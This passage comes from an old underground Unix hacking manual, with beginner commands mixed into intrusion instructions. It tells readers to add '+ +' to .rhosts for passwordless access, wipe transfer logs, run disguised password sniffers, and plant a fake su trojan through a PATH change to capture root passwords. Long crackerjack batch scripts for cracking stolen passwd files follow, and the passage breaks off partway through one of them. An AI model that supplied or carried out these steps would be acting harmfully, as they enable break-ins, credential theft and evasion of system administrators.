      A5-04. IRIX mail exploit to make you any user on the machine - BUT NOT root
      A5-05. BSD - crontab root exploit
      
      *********************************************************
      * Appendix VI - UUENCODED FILES                         *
      *********************************************************
      
      1. Quantum's Bindwarez binary file for PHF
      2. Demon Root Kit - Includes: Banish, DemonPing, DemonSu, DemonTelnet
      3. Linux Root Kit - Includes: Login, Netstat, and, PS
      4. The Fake SU Program
      
      **********
      Disclaimer
      **********
      
      True this manual will aid hackers into breaking into systems but it is also
      provided to guide system admin's on different security problems and help
      with things to watch for on their system to keep hackers off.
      
      If you use this manual to gain access to any system where you do not belong,
      and do any type of damage, you alone will suffer for your stupid actions!
      
      I am not telling you to break into any system, I am just showing some of
      my experience, and things that I would do if I was to break into my own system.
      
      This is for information only.....
      ISP's Secure Your Systems!
      
      *******
      Preface
      *******
      
      Ok, lets get started.  If you are going to hack, you must be doing this for a
      reason.  All hackers have their reasons for doing what they do.  Most are just
      hungry to learn.  Most of what I have learned about unix, i have learned on
      some service providers or someone else's machine.  I am one for the 'hands on'
      experience.  There is much to learn and you would have to read 20,000 books
      just to get what you would learn out of a few config files, a few admin email
      messages, some .bash_history files, and some poking around a few systems.
      
      Here in this manual you should learn how to be the 'complete hacker' and come
      up with a style of your own.  It will not take to long, but it will take some
      practice and experience before you will be able to call yourself a hacker.
      
      Not just anyone that can crack a password file, and log into a unix machine
      can call themselves a hacker.  Ok, you can get root access to a box!  You still
      are not a hacker!  You need to know why you are a hacker first, and then have
      your 'code' and 'style'.  You need a purpose and a reason for hacking into any
      box.  The true hacker knows why he is doing what he does, and is doing it for
      reasons like knowledge, free information, and ACCESS. The true hacker will
      turn one hack into access to many different systems and providers and keep this
      access for future learning and more FREE information.
      
      The wan-a-be hacker will not be invisible, and will do many stupid things like:
      delete or corrupt data, down the machine, run bots or irc clients from root
      accounts or machines Give the passwords he cracked to everyone in the world
      to prove they can hack. Or they might just do stupid things that will get
      themselves cought.  I think sometimes this is done purposely just to draw
      attention to themselves so they can get cought and make the announcement that
      they are a hacker, and they were here!  A real hacker needs no such glory,
      he just needs the access and wants to keep it and be invisible! He will not
      tell many friends about the system, he will not give out the passwords or
      accounts, he will keep others off so he can continue his access there and
      keep it clean.
      
      Here in this manual i hope that i can add enough style so that you can have
      real heart in this matter and and be a good clean hacker.
      
      Happy hacking ...
      
      --------------------------------
      Chapter I
      
      Unix commands you need to know.
      --------------------------------
      
      There are just a few basic commands you need to learn, and then some unix
      programs that will aid you in logging in logging into or keeping access to
      the machine.
      
      Call your local internet service provider and ask them to sell you a shell
      account so that you will have something to practice on to learn these
      basic commands.  The average shell account might cost you $10.00 per month
      if you don't already get one with your existing account.
      
      --------------
      Section 1A
      
      Basic commands
      --------------
      
      I hope you have a basic knowledge of DOS, that would help a bit, and I will
      assume that you already do in writing this manual.
      
      DOS Commands you are used to first:
      
      REMEMBER: unix is case sensitive, so if I here use lower case you must also,
      if I use a space you must also.  DOS will let you get away with allot of things
      but unix will not!
      
      DIR/W      = ls
      DIR        = ls -l
      DIR/AH     = ls -al  AH=(hidden) -al=(include hidden files as well as regular)
      RENAME     = mv
      ATTRIB     = chmod
      MD         = mkdir
      RD         = rmdir
      DEL        = rm
      COPY       = cp
      
      These are the basic commands, i suggest that you lookup the man pages
      on each one of these commands from your unix shell.  You would do this by
      typing 'man command' without the ''.
      
      each one of these commands will have switches for them, like cp -R to copy
      files and directories.  So you would type man cp to get all of the switches
      you can use with the copy command.
      
      cd {then press enter} will always take you to your home directory
      cp filename $HOME will copy the file to your home directory
      cd ~username will take you to that users home dir if you have access to be
         there
      pwd {press enter} will show you what directory you are in.
      
      -------------
      Section 1B
      Telnet
      -------------
      
      Telnet is a command that you can use from a shell account, or from an exe
      file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems
      that will let you connect to another machine on the net.  There are other
      programs you will learn about here like FTP, and rlogin that you can use as well
      but now we will use telnet.
      
      You can use telnet if you know the IP address or the host name you want to
      connect or login to.  To use the command you would just use the telnet program
      to connect to the IP or host like this:
      
      Telnet netcom.com  or  telnet 206.146.43.56
      
      Ok, now lets login:
      
      telnet machine.com
      
      trying .....
      
      Connected to machine.com
      
      Linux 2.0.28 (machine.com) (ttyp0)
      
      machine login:username
      password:#######
      
      bash$
      
      Your prompt might look different, but we will use this one.
      
      Notice above that it will tell you the O/S when you get the login prompt.
      You can use this if you get a large collection of passwd files.  Even before
      going on to crack them sort them by O/S types by just telnet-ing to them to
      see what they are running.  There are other ways, but lets keep this telnet
      topic going for a sec... telnet domain.name.com, after you see what they are
      running make a note of this and ctrl ] to break out of the connection.
      
      Put all of your linux passwd files into a pile to be cracked first.  All we
      need is one account that works for the system, and we can be almost sure
      we will have root on that machine!  There are way to many holes in linux to
      think we will not be able to own one of those machines, so lets get to work so
      we can start this wonderful world of hacking.
      
      ----------------------
      Unix File Permissions
      ----------------------
      
      bash$
      
      bash$ cd /tmp
      bash$ ls -l
      total 783
      -rwx------   1 wood     users           1 Jan 25 18:28 19067haa
      -rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
      -rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
      -rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
      drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens
      
      First notice that we used a / and not \ to change to the tmp directory! Unix
      uses the / as the root so it is backwards from DOS here.
      Notice we did ls -l for the long directory. If we did 'ls' we would have what
      you see below.
      
      bash$ ls
      19067haa      filter.14428  pop3a13598    pop3a13600    screens
      
      With what we see here can not tell much, so most of the time we will be
      using ls -al with the -al we will see the hidden files also, hidden
      files and directories will always start with a '.'.  Now watch:
      
      bash$ ls -al
      total 794
      drwxrwxrwt   4 root     root         8192 Jan 25 23:05 .
      drwxr-xr-x  22 root     root         1024 Dec 28 18:07 ..
      -rw-r--r--   1 berry    users           6 Jan 25 23:05 .pinetemp.000
      drwxr-xr-x   2 berry    users        1024 Jan 25 23:05 .test
      -rwx------   1 wood     users           1 Jan 25 18:28 19067haa
      -rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
      -rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
      -rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
      drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens
      
      .pinetemp.000 is a hidden file, and .test is a hidden directory.
      
      -rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
      
      row 1          row2     row3
      ----------------------------
      
      Now here we need to learn about permissions, users, and groups.
      
      Row #1 is the file permissions
      Row #2 is who owns the file
      Row #3 is the group owner of the file
      
      File permissions are grouped together into three different groups.
      If the line starts with a d, it is a directory, if there is no d, it is a file.
      
      - --- --- ---
      | |   |   |--------> Other = anyone on the machine can access
      | |   |------------> Group = certain groups can access
      | |----------------> User  = only the owner can access
      |------------------> Directory Mark
      
      
      
      - rw- r-- r--
      | |   |   |--------> Other can only read the file
      | |   |------------> Group can only read the file
      | |----------------> User  can read or write to the file
      |------------------> It is not a directory
      
      
      - rwx rwx r-x
      | |   |   |--------> Other can read and execute the file
      | |   |------------> Group can read write and execute the file
      | |----------------> User  can read write and execute the file
      |------------------> It is not a directory
      
      
      The owner is the user name in row #2 and the group owner is the name in row #3.
      In DOS the file has to have a .exe, .com, or .bat extension to execute, but in
      unix all you need is the --x in your group of user, other, group
      
      You can change these permissions if you own the file or have root access:
      
      ---------------------------------------------------------------------------
      chmod oug+r filename will make all three groups of permissions be able to
      read the file.
      
      chmod og-r filename would make the file readable only to the user that owns
      the file.  (notice the - or + to set the file yes or no)
      
      chmod +x filename would make the file execute by all.
      
      chown username filename would make the file owned by another user.
      chgrp groupname filename would make the file owned by another group.
      ---------------------------------------------------------------------------
      
      Make sure to keep file perm's and groups the same or you will be sniffed
      out and booted from the system.  Changing configs on the system might only
      break other functions, so keep your paws off or you are just asking to get
      cought.  Only do what you are *SURE* of.  Only use commands that you know,
      you might find yourself spending hours fixing just one typo like
      chown -R username /* could keep you busy for a year ;)
      
      Just be careful!
      
      We will get into this stuff more as we go into the needs for this.
      
      ------------------
      Section 1C Rlogin
      ------------------
      
      There is another command you might use and we will get into this elsewhere
      as we get into using rlogin to login to a system without a password.
      
      For now read the man pages on rlogin by using the man rlogin from your
      shell account.
      
      The basic command would be :
      
      rlogin -l username hostname
      connecting....
      password:
      
      bash$
      
      Rlogin requires the user to have a file in their home directory that tells
      what system they can receive the rlogin from.  In this file .rhosts it would
      look like this:
      
      username hostname (or) hostname
      
      if you were to add to this file   + +   it would let any user from any host
      login without a password.
      
      The file would look like this:
      
      ----- cut here ------
      + +
      _____ cut here ------
      
      if they already had entry's you could add the + + under their host names, but
      remember now they would notice seeing they would now be able to rlogin
      without the password.  You would be targeting people that did not
      already have a .rhosts file.
      
      ---------------
      Section 1D FTP
      ---------------
      
      Another way to login will be FTP.  You can use a windows client, or just
      login from a shell.
      
      ftp ftp.domain.com
      
      This will allow you to download or upload files to the site you are hacking.
      Just make sure to edit the xferlog (see section 6d) to wipe your tracks
      on the system.  Remember NEVER to ftp or telnet out of the hacked system, only
      log into it!  If you are coming from your own system, or from another hacked
      account you might just be giving your login and password to the system admin
      or another hacker on their system.  There could be a telnetd or ftpd trojan
      loaded on the system, or even a sniffer.  Now you would have just gave someone
      your login id and password.  And if this was the system admin, he might have
      the idea that revenge is sweet ;)
      
      Using ftp from the shell, I would suggest using a few commands:
      
      After you login, and have your prompt, type these commands
      pressing enter after each one.
      
      prompt
      hash
      bin
      
      prompt will allow you to type a command like (mget *) or (mput*) and transfer
      an entire directory without having it prompt you for each file yes or no.
      
                     hash marks
      hash will put ############ on the screen so you can see the transfer
      is still moving and at what speed.
      
      bin will make sure you get the files in the right mode, and if transferring
      binary files, you will be sure they will uncompresses.
      
      The transfer commands are easy, get filename, or, put filename, or for many
      files you can use regular wild cards with mput  or mget.
      
      --------------------
      Section 1E
      GCC compiler
      --------------------
      
      There will be a time when you will need to compile a .c file.
      
      It is best to compile on the machine you are working on.  So upload or copy
      and past the files to the hacked box and compile them there.  If you have
      problems with their compiler you can try to upload pre-compiled files.
      
      One way to get the file up to the victims machine would be to use copy
      and paste.  Get a good tsr or windows shareware program to do this if
      you do not have any way to do it now.  You can copy a script file from
      one window and paste it into an editor on the victims machine, and then compile
      the new file.  Walaa... no upload log of the file.  You can copy and paste
      from the victims machine as well so that there are no download logs of ascii
      files.
      
      To copy and paste you can just open an editor on the hacked box, and then copy
      from your other session, and paste your script into the editor and save the
      file.  This way there will not be anything in the xferlog yet.
      
      You can do the same thing with the password file.  If you do decide to
      download the password file using ftp, make sure to copy it to your home
      directory first under a different name.
      
      bash:/etc:> cp passwd $HOME/plog  would copy the file called passwd from the /etc
      directory you were in, to your home directory in a file called plog instead of
      passwd.  Admin's grep the xfer logs looking for who is downloading the passwd
      file.
      
      Another way to get file to or from the box without showing up in the logs
      would be to open an irc session on the victims machine, then from your other
      session where you are already a user on irc, send the files using dcc.
      
      The command to send the files would be /dcc send <nick> <filename>
      The command to get the file on the other side would be /dcc get <nick> <file>
      
      It would be nice if you had a bot loaded on the irc when you were hacking so
      that you could just send files to the bot and have it auto receive them.
      
      A 'bot' is a robot program that you can load in the background on your shell
      account that will receive files, keep channels open, etc...
      
      
      The GCC compiler is easy...
      
      gcc filename.c -o filenameyouwant
      
      If i was to compile a file called z2.c that would zap the log files i would
      type this:
      
      gcc z2.c -o zap
      
      This would give me a file that would exe, called zap
      
      If I just typed : gcc z2.c  I would have a file named a.out, that was the executable
      file and would have to rename it to zap, or some name i would know by doing
      this: mv a.out zap
      
      Now I would have a file named zap that was executable instead of a.out.
      
      You will want to make sure you are not naming these files names that sys admin's
      will know.  If you had a sniffer file called 'linuxsniffer.c' you don't
      want to keep the same name ;) call it something like:
      
      gcc linuxsniffer.c -o lsn
      
      Remember also sometimes you can execute these files names right in the directory
      by just typing the file name like for our 'lsn' (sniffer) above just by
      typing lsn.  But sometimes this will not work unless you add a ./ to the
      command.  So remember, sometimes you will need to type ./lsn  or your file
      name.
      
      Also there will be a time you will want a program to run in the background
      even after you logoff.  Like in the case of the sniffer above.  In this case
      you might want to name your sniffer something that would not be so easy
      noticed.  Use your own style here.  BUT to make it stay in the background while
      you are off the system you need to run the command with a & after the command.
      
      lsn&
      
      If you were to just type lsn, your screen would pause, and you would not be
      able to type while the program was sniffing, but if you typed lsn& it would
      load and the system prompt would come right back to you.  Also the system
      would let you know it was loaded by giving you the process id # that it
      was loaded as.
      
      You could view the process with the ps -x command, you might want to run
      ps -auxe |more
      
      a= all
      u= show user
      x= yours
      e= env
      
      some machines
      f=tree
      or command: pstree
      
      ------------------------------------
      Chapter II
      Getting started (your first account)
      ------------------------------------
      
      There are many ways to get a starter account. I will go into each area to
      help you get started.  All you need is one good account to spawn off to
      hundreds of accounts.  Think of this; You get one good exploitable system,
      most any linux machine ;)
      
      Now you get root access and load a sniffer program.  The TCP sniffer will
      search out any login process on the network and log the login and password
      for any telnet, ftp, or dial-in session going out or coming into the system.
      
      Now even if it is a small ethernet connection you have around 100 passwords
      for a few machines or domains.  If a larger net provider you have hundreds
      of accounts all over the world!  All you need for this is one good account
      and password to an exploitable system.  If it seems you can not exploit
      root on the system, this might be a good system to crack passwords on and
      exchange the accounts for other accounts from hackers or irc users that are
      looking to load a bot but do nt have the shell account or disk space to do
      it.  NEVER give out even one password to a system you exploited root on.
      Keep these systems to yourself!
      
      Lets now get into ways to get your first accounts.
      
      ------------------------
      Section 2A.
      Cracking passwd files
      ------------------------
      
      If you are hacking with the right frame of mind, you will run the crack
      program until you get one good account that will let you into the system.
      
      You will login and see if you can exploit root on the system, if so, get root,
      get the files you need to use into your nested directory, and erase your
      presence, and clean all of the logs.  Now you are ready to load your sniffer.
      
      Why go on hacking passwords for a system that within 24 hours you will have
      most of the passwords anyway?  Not only for the machine you just hacked, but
      other machines that were connected to as well.  If the system is not
      exploitable don't even waste your time on it, go on to the next.  At a latter
      date if you want to crack passwords for accounts to trade go ahead.
      
      If you get an admin's account cracked you might want to read his history files,
      and see if he is using the su command to access root allot.  If he is you can
      use an su trojan on him.  This will get you the root password.  This works like
      this:  You change his shell script so that a hidden directory (.term) is good,
      is set in the search path before all other directories.  You put a fake su
      binary in the .term (or other) directory.  He types su, everything looks good
      to him, he types in the root password when prompted, the password id copied to
      a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a
      password error telling him to try again.  He thinks he must have done something
      wrong and runs su again, but this time the real one and logs in.
      
      You will find this fake su program in the last appendix named uuencoded files.
      
      Here are the docs:
      
      Fake SU by Nfin8 - i-e
      
      IRC: /msg i-e
      
      Easy as 1,2,3 ...
      
      1. Change the path in one of the user accounts that you have access to that
      you see is using SU from reading their history files, to hit a path first
      that you have placed the su trojan file into.  .term or .elm is good!
      
      2. Make sure to edit the top of the su.c file to the path you will be using
      so that the sutrojan will delete isself and let the real SU work for the
      second try.
      
      3. Put all of the files in the target directory and compile the su.c file.
      
      gcc su.c -o su
      
      Then delete all of the files but the su.  All done!
      
      .bash_profile might look like this:
      
      # .bash_profile
      
      # Get the aliases and functions
      if [ -f ~/.bashrc ]; then
              . ~/.bashrc
                      fi
      
      # User specific environment and startup programs
      
      PATH=$PATH:$HOME/bin
      ENV=$HOME/.bashrc
      USERNAME=""
      
      export USERNAME ENV PATH
      
      You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin
      
      
      When the sys admin run's 'SU' it will run the SU-trojan in the .term
      directory first and report that the password he typed was wrong, the
      Trojan su program would have put a hidden file in the /tmp directory for
      you that contains the root password (or account passwd) typed.  If it was
      an account rather then the root password it will let you know the account
      name. Then the trojan su program deletes itself so that the next try will
      get the real su program.
      
      
      You can find the admin's at the top section of the passwd file in the /etc
      directory.  Just type :  more passwd
      
      You can be sure that the first two real accounts made in the passwd file are
      admin's, also sometimes you can find others by where their directories are
      located in the password file.  Like /staff/username.
      
      The history files are in each users account directory.  You can read these to
      see what the last commands were that were typed by the user.  Sometimes as
      much as the last 100+ commands.  Look for the file .bash_history, or History,
      you can read these using more.  command: more .bash_history, or most times to
      keep your typing you can type : more .b*  (or) just type : more .b (and then
      hit the tab key on your keyboard).
      
      Ok so now you need a good password cracking program. You can see in the next
      chapter on how to get password files from systems that you do not have an
      account on, but it is catch 22, you need the password cracking program too.
      
      There are three things that you will need.
      
      1. Password cracking program
      2. Good word files
      3. Password files
      
      The best password cracking program to start would be crackerjack.  You can
      search the web and find this easy as 1,2,3.  Download it and you are ready
      to go.  If you are a bit more advanced you can download a cjack for unix and run
      it in a shell.  But if you are just getting started get the DOS/OS/2 version.
      
      Also search for some good word files.  The best word files are the names.
      You will find that most unsecured passwords out there are guy's girlfriends
      names, of girls boyfriends names ;)  You will find word files like
      'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'
      hackersdict' and other like these to be the best.
      
      Load crackerjack like this:
      
      [D:\jack]jack
      
      Cracker Jack version 1.4 for OS/2 and DOS (386)
      Copyright (C) 1993, The Jackal, Denmark
      
      PWfile(s) : domain.com.passwd
      
      Wordfile  : domain.com.passwd
      
      Like above run the password file as the wordfile first.  This will get you all
      of the logon's first that used their login name as their password, also if they
      used any other info like their real name or company name it will hit right away
      and you will not have to wait for the program to search through a word file.
      
      If you want to hash the word file to get more out of it you can read the doc's
      for crackerjack.
      
      Hashing is where you can tell crackerjack to change the case of the wordfile
      or even add numbers or letters to the beginning or end of the words in the word
      file, like sandy1 or 1sandy.  You will find that many users do this and think
      they are more secure.
      
      Here are hashing files for both the passwd file and your word list.  After
      looking these over you will see how you can modify these or create new ones
      to suit your needs.
      
      ------------ start of dicthash.bat
      @echo off
      cls
      echo - THIS FILE FOR DOS MACHINES
      echo ----------------------------------------------------------------------
      echo - To work this batch file have all of the crackerjack files in the
      echo - current directory with this batch file, along with your dict and
      echo - password file.  Then use this batch file using the following format:
      echo -
      echo - dicthash.bat dictfilename.ext passwordfilename.ext
      echo -
      echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
      echo -
      echo - dicthash will first load jack running the dict file against your
      echo - password file in both cases, then it will add numbers 0-9 both to
      echo - the begining and end of every dict word.  This will take a while,
      echo - so go out for that week vacation!
      echo -
      echo - If you get tired you can 'ctrl c' to the next option or number.
      echo -
      echo - ii@dormroom.pyro.net
      echo -
      echo - Mail me some of your hits, let me know how this works for you ;)
      
      jpp -lower %1 | jack -stdin %2
      jpp %1 | jack -stdin %2
      jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
      jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
      jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
      jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
      jpp  -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
      jpp  -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
      jpp  -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
      jpp  -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
      
      ---------------- end of dicthash.bat
      
      ---------------- start of jackhash.bat
      @echo off
      cls
      echo - THIS FILE FOR DOS
      echo ----------------------------------------------------------------------
      echo - To work this batch file have all of the crackerjack files in the
      echo - current directory with this batch file, along with your password file.
      echo - Then use this batch file using the following format:
      echo -
      echo - jackhash.bat passwordfilename.ext
      echo -
      echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
      echo -
      echo - jackhash will first load jack running the passwd file against
      echo - itself in both upper and lower cases, then it will add numbers 0-9
      echo - both to the begining and end of every dict word.  This will take
      echo - a while, so go out for that week vacation!
      echo -
      echo - If you get tired you can 'ctrl c' to the next option or number.
      echo -
      echo - ii@dormroom.pyro.net
      echo -
      echo - Mail me some of your hits, let me know how this works for you ;)
      
      jpp -gecos:5 -lower %1 | jack -stdin %1
      jpp -gecos:5 %1 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
      jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
      jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
      jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
      jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1
      
      
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
      jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
      jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
